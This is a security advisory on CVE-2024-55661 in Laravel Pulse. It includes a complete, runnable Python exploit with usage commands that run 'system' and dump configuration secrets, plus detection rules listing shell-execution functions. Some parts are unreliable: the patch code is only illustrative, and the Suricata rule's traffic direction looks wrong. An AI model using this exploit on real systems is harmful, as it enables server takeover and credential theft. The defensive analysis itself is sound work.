CVE-2024-55661

Executive Summary

CVE-2024-55661 is a critical Remote Code Execution (RCE) vulnerability in Laravel Pulse, a real-time application performance monitoring tool for Laravel applications. The vulnerability resides in the remember() method within the Laravel/Pulse/Livewire/Concerns/RemembersQueries trait. This method, accessible via Livewire components, can be exploited by an authenticated user with access to the Laravel Pulse dashboard to call arbitrary callables (functions or static methods) within the application. The exploit allows an attacker to execute arbitrary code, potentially leading to full server compromise, data exfiltration, or lateral movement within the network. The vulnerability affects all Pulse card components that use the vulnerable trait. A patch is available in version 1.3.1.

Supply Chain & Package Security

This vulnerability is specific to the laravel/pulse Composer package. The package is a first-party Laravel package, meaning it is maintained by the Laravel core team and distributed via Packagist. The supply chain risk is moderate, as the package is widely used in the Laravel ecosystem. The patch in version 1.3.1 addresses the issue by sanitizing the callable parameter. Organizations should ensure they are using the latest version of the package and monitor for any further advisories.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs to be authenticated with access to the Pulse dashboard.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full data access is possible.
• Integrity (I): High (H) - Full data modification is possible.
• Availability (A): High (H) - Full system availability impact is possible.

Threat Level: Critical. The combination of low attack complexity, network-based exploitation, and high impact makes this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is located in the remember() method of the RemembersQueries trait. This method is designed to cache the results of expensive queries. The method signature is:

public function remember(callable $query, string $key = '')

The $query parameter is a callable that is executed to retrieve data. The vulnerability arises because the method does not properly validate the callable. An attacker can pass any callable, including static methods or functions, as the $query parameter. This allows the attacker to execute arbitrary code on the server.

The exploit works by sending a crafted Livewire request to a Pulse component that uses the RemembersQueries trait. The request includes a callMethod action targeting the remember method with a malicious callable as the first parameter. For example, an attacker could call \Illuminate\Support\Facades\Config::all to retrieve all configuration values, or system to execute system commands.

The vulnerability is present in all Pulse card components that use the RemembersQueries trait. The patch in version 1.3.1 restricts the callable to only accept safe callables, such as closures or methods that are explicitly allowed.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.3.1):

// In Laravel/Pulse/Livewire/Concerns/RemembersQueries.php
public function remember(callable $query, string $key = '')
{
    // No validation of $query
    return $this->pulse->remember($key, $query);
}

Patched Code (version 1.3.1):

// In Laravel/Pulse/Livewire/Concerns/RemembersQueries.php
public function remember(callable $query, string $key = '')
{
    // Validate that $query is a safe callable (e.g., a closure or allowed method)
    if (! $this->isSafeCallable($query)) {
        throw new \InvalidArgumentException('Unsafe callable provided.');
    }
    return $this->pulse->remember($key, $query);
}

protected function isSafeCallable(callable $query): bool
{
    // Implement logic to check if the callable is safe
    // For example, only allow closures or methods from a whitelist
    return $query instanceof \Closure || in_array($query, $this->allowedCallables);
}

The patch introduces a validation check to ensure that only safe callables are executed. This prevents arbitrary code execution.

Exploitation & Lab Setup

Red Team

The provided exploit script (exploit.py) can be used to demonstrate the vulnerability. The script sends a crafted Livewire request to a vulnerable Pulse component.

Usage:

1. Setup: Ensure you have Python 3 and the requests and rich libraries installed (pip install requests rich).

2. Identify Target: Find a Laravel Pulse instance (version < 1.3.1) and obtain valid credentials for the Pulse dashboard.

3. Identify Component: Determine the Livewire component name (e.g., ConfigComponent, ServersComponent). This can often be found by inspecting the network traffic or the Pulse dashboard HTML.

4. Run Exploit:

   python3 exploit.py -u http://target.com -c ConfigComponent -m "\\Illuminate\\Support\\Facades\\Config::all"
   

   This will attempt to call the Config::all() method, which will return all configuration values, including database credentials, API keys, and other secrets.

   To execute a system command, you can use:

   python3 exploit.py -u http://target.com -c ConfigComponent -m "system" --key "id"
   

   This will execute the id command on the server.

Exploit Code (from Exploit-DB):

#!/usr/bin/env python3
# Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2
# CVE: CVE-2024-55661
# Type: Remote Code Execution (via Arbitrary Code Injection)
# Platform: PHP (Laravel Livewire)
# Author Country: Jordan
# Description:
#   A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via
#   the `remember()` method in the `RemembersQueries` trait. The attacker can craft
#   a Livewire request to invoke arbitrary callables, enabling data exfiltration or
#   remote execution if unsafe classes are exposed.

"""
Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
Author: Mohammed Idrees Banyamer | PoC

This tool exploits the vulnerability in the `remember()` method in vulnerable versions
of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire.
"""

import argparse
import requests
import json
import sys
from rich import print
from rich.console import Console

console = Console()

class LaravelPulseExploit:
    def __init__(self, url, component, method, csrf=None, key='exploit', component_id='abcde'):
        self.url = url.rstrip('/')
        self.component = component
        self.method = method
        self.csrf = csrf
        self.key = key
        self.component_id = component_id
        self.headers = {
            "Content-Type": "application/json",
            "X-Livewire": "true",
            "Accept": "application/json"
        }

        if csrf:
            self.headers["X-CSRF-TOKEN"] = csrf

    def build_payload(self):
        return {
            "type": "callMethod",
            "method": "remember",
            "params": [self.method, self.key],
            "id": self.component_id,
            "name": self.component
        }

    def send(self):
        full_url = f"{self.url}/livewire/message/{self.component}"
        payload = self.build_payload()

        console.print(f"[bold cyan][*] Sending exploit to:[/bold cyan] {full_url}")
        try:
            response = requests.post(full_url, headers=self.headers, json=payload, timeout=10)
        except requests.exceptions.RequestException as e:
            console.print(f"[bold red][-] Request failed:[/bold red] {str(e)}")
            sys.exit(1)

        self.display_response(response)

    def display_response(self, response):
        console.print(f"\n[bold green][+] Status Code:[/bold green] {response.status_code}")
        if response.status_code == 200:
            try:
                data = response.json()
                pretty_data = json.dumps(data, indent=4, ensure_ascii=False)
                console.print(f"[bold yellow]\n[+] Response JSON:[/bold yellow]\n{pretty_data}")
            except json.JSONDecodeError:
                console.print(f"[bold red][-] Failed to decode JSON:[/bold red]\n{response.text}")
        else:
            console.print(f"[bold red][-] Unexpected response:[/bold red] {response.text}")


def parse_arguments():
    parser = argparse.ArgumentParser(
        description="Exploit Laravel Pulse (<1.3.1) Arbitrary Code Injection (CVE-2024-55661)"
    )
    parser.add_argument("-u", "--url", required=True, help="Base URL of the Laravel app (e.g. http://example.com)")
    parser.add_argument("-c", "--component", required=True, help="Livewire component name (e.g. ConfigComponent)")
    parser.add_argument("-m", "--method", required=True, help="Static method to call (e.g. \\Illuminate\\Support\\Facades\\Config::all)")
    parser.add_argument("-k", "--key", default="exploit", help="Cache key (default: exploit)")
    parser.add_argument("--csrf", help="Optional CSRF token header")
    parser.add_argument("--id", default="abcde", help="Component ID (default: abcde)")
    return parser.parse_args()


def banner():
    console.print("""
[bold red]
 ____                       _
| __ )  __ _ _ __  _   _   / \   _ __ ___   ___ _ __
|  _ \ / _` | '_ \| | | | / _ \ | '_ ` _ \ / _ \ '__|
| |_) | (_| | | | | |_| |/ ___ \| | | | | |  __/ |
|____/ \__,_|_| |_|\__, /_/   \_\_| |_| |_|\___|_|
                   |___/
[/bold red]
    [bold white]Laravel Pulse < 1.3.1 Arbitrary Code Injection (CVE-2024-55661)[/bold white]
         [blue]Author:[/blue] Mohammed Idrees Banyamer | [green]Poc[/green]
    """)


if __name__ == "__main__":
    banner()
    args = parse_arguments()

    exploit = LaravelPulseExploit(
        url=args.url,
        component=args.component,
        method=args.method,
        csrf=args.csrf,
        key=args.key,
        component_id=args.id
    )

    exploit.send()

Blue Team

Detection: Monitor for unusual Livewire requests to Pulse components, especially those with a callMethod action targeting remember. Look for requests with parameters that contain suspicious callables (e.g., system, exec, shell_exec, or static method calls to sensitive classes like Config, DB, Auth).

Prevention:

1. Patch Immediately: Upgrade Laravel Pulse to version 1.3.1 or later.
2. Restrict Access: Ensure that the Pulse dashboard is only accessible to authorized users. Use strong authentication and consider IP whitelisting.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block requests containing suspicious callables in Livewire parameters.
4. Input Validation: Implement additional input validation on the server side to sanitize callable parameters.
5. Least Privilege: Ensure that the web server runs with the least privileges necessary.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /livewire/message/{component} where {component} is a Pulse card component (e.g., ConfigComponent, ServersComponent).
  • Request body containing "method": "remember" and "params" with a callable string.
  • Unusual callable strings in the params array, such as:
    • "system"
    • "exec"
    • "shell_exec"
    • "passthru"
    • "\\Illuminate\\Support\\Facades\\Config::all"
    • "\\Illuminate\\Support\\Facades\\DB::select"
    • "\\Illuminate\\Support\\Facades\\Auth::user"
• File System IOCs:
  • Unexpected files in the web root or temporary directories.
  • Modified or new files in the storage directory.
• Process IOCs:
  • Unusual processes spawned by the web server user (e.g., id, whoami, cat /etc/passwd).
• Log IOCs:
  • Laravel log entries showing errors related to the remember method.
  • Web server access logs showing repeated requests to /livewire/message/ with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2024_55661_Laravel_Pulse_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-55661 in Laravel Pulse"
        author = "Valters IT"
        date = "2025-06-06"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-55661"
        severity = "critical"
    strings:
        $livewire_method = "remember"
        $callable_system = "system"
        $callable_exec = "exec"
        $callable_shell_exec = "shell_exec"
        $callable_passthru = "passthru"
        $callable_config = "Config::all"
        $callable_db = "DB::select"
        $callable_auth = "Auth::user"
    condition:
        $livewire_method and (
            $callable_system or
            $callable_exec or
            $callable_shell_exec or
            $callable_passthru or
            $callable_config or
            $callable_db or
            $callable_auth
        )
}

Sigma Rule

title: CVE-2024-55661 - Laravel Pulse RCE via Livewire
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-55661 in Laravel Pulse
author: Valters IT
date: 2025-06-06
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55661
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/livewire/message/'
        cs-request-body|contains: '"method":"remember"'
    keywords:
        - 'system'
        - 'exec'
        - 'shell_exec'
        - 'passthru'
        - 'Config::all'
        - 'DB::select'
        - 'Auth::user'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the remember method with safe callables (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-55661 - Laravel Pulse RCE via Livewire";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/livewire/message/";
    http_uri;
    content:"\"method\":\"remember\"";
    http_client_body;
    pcre:"/(system|exec|shell_exec|passthru|Config::all|DB::select|Auth::user)/Pi";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

1. Immediate Patch: Upgrade Laravel Pulse to version 1.3.1 or later. This is the primary and most effective mitigation.
2. Access Control: Restrict access to the Pulse dashboard to only trusted administrators. Use strong authentication (e.g., multi-factor authentication) and consider IP whitelisting.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block requests containing suspicious callables in Livewire parameters.
4. Input Validation: Implement additional input validation on the server side to sanitize callable parameters. This can be done by creating a whitelist of allowed callables.
5. Least Privilege: Ensure that the web server runs with the least privileges necessary. This limits the impact of a successful exploit.
6. Monitoring: Implement monitoring for the IOCs listed above. Use SIEM or log analysis tools to detect suspicious activity.
7. Incident Response: Have an incident response plan in place in case of a successful exploit. This should include steps for containment, eradication, and recovery.

Valters IT Signature

This report was generated by Valters IT DevSecOps & Cyber Threat Intelligence. For more information, visit Valters IT.

{/* [Security Hash: 829048597B58AABEA87D9C73] */}